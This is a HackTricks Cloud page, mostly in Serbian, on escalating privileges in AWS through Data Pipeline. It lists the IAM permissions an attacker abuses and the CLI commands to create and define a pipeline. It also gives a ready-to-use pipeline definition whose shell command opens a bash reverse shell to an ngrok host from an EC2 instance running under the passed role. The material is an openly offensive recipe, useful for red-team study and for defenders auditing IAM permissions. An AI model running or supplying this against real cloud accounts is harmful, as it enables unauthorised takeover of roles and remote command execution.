AWS - Datapipeline Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
datapipeline
Za više informacija o datapipeline pogledajte:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Korisnici sa ovim permissions can escalate privileges by creating a Data Pipeline mogu da izvrše proizvoljne komande koristeći permissions of the assigned role:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Nakon kreiranja pipeline-a, attacker ažurira njegovu definiciju kako bi naložio konkretne akcije ili kreiranje resursa:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
Imajte na umu da role u linijama 14, 15 i 27 mora biti assumable by datapipeline.amazonaws.com i da role u liniji 28 mora biti assumable by ec2.amazonaws.com with a EC2 profile instance.
Pored toga, EC2 instance će imati pristup samo role koja je assumable by the EC2 instance (dakle možete ukrasti samo tu).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
Datoteka definicije pipeline-a, kreirana od strane napadača, uključuje direktive za izvršavanje komandi ili kreiranje resursa putem AWS API-ja, iskorišćavajući permisije role Data Pipeline-a da bi se potencijalno stekle dodatne privilegije.
Potencijalni uticaj: Direktan privesc na navedenu ec2 servisnu rolu.
Reference
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

